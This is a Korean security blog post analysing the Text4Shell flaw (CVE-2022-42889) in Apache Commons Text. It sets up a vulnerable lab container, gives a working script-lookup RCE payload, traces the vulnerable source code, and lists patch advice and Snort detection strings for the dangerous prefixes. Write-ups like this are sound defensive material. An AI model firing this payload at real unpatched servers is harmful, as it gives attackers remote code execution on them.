1. Apache Commons Tex
- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리
- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개
2. CVE-2022-42889
- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점
변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음
2.1 취약점 상세
- 취약한 서버 구동
$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell
- 서버 구동 후 정상 접근 확인
- 피해 시스템의 tmp 디렉터리 내용 확인
- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음
- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음
- 또한, 리버스쉘 생성 가능
2.2 취약점 분석
- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출
public String replace(final String source) {
if (source == null) {
return null;
}
final TextStringBuilder buf = new TextStringBuilder(source);
if (!substitute(buf, 0, source.length())) {
return source;
}
return buf.toString();
- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출
protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
final int endPos) {
final StringLookup resolver = getStringLookup();
if (resolver == null) {
return null;
}
return resolver.lookup(variableName);
}
- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임
- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적
- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).
@Override
public String lookup(String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = toKey(var.substring(0, prefixPos));
final String name = var.substring(prefixPos + 1);
final StringLookup lookup = stringLookupMap.get(prefix);
String value = null;
if (lookup != null) {
value = lookup.lookup(name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultStringLookup != null) {
return defaultStringLookup.lookup(var);
}
return null;
}
- ScriptStringLookup.lookup() 메서드 호출
@Override
public String lookup(final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(SPLIT_STR, 2);
final int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",
key);
}
final String engineName = keys[0];
final String script = keys[1];
try {
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
}
return Objects.toString(scriptEngine.eval(script), null);
} catch (final Exception e) {
throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
script);
}
}
- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행
3. 대응방안
① 취약점이 패치된 버전으로 업데이트 적용
- 취약점 패치 버전 : Apache Commons Text 1.10.0
- 변수 보간기를 기본적으로 비활성화
② Snort 룰 적용 후 탐지 및 차단
- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용
- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A
4. 참고
https://nvd.nist.gov/vuln/detail/CVE-2022-42889
https://commons.apache.org/proper/commons-text/security.html
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
'취약점 > 4Shell' 카테고리의 다른 글
Spring4Sell 취약점(CVE-2022-22965) (0) | 2022.11.12 |
---|---|
Log4j 취약점 분석 #3 대응 (0) | 2022.07.15 |
Log4j 취약점 분석 #2 취약점 분석 (0) | 2022.07.15 |
Log4j 취약점 분석 #1 개요 (0) | 2022.07.14 |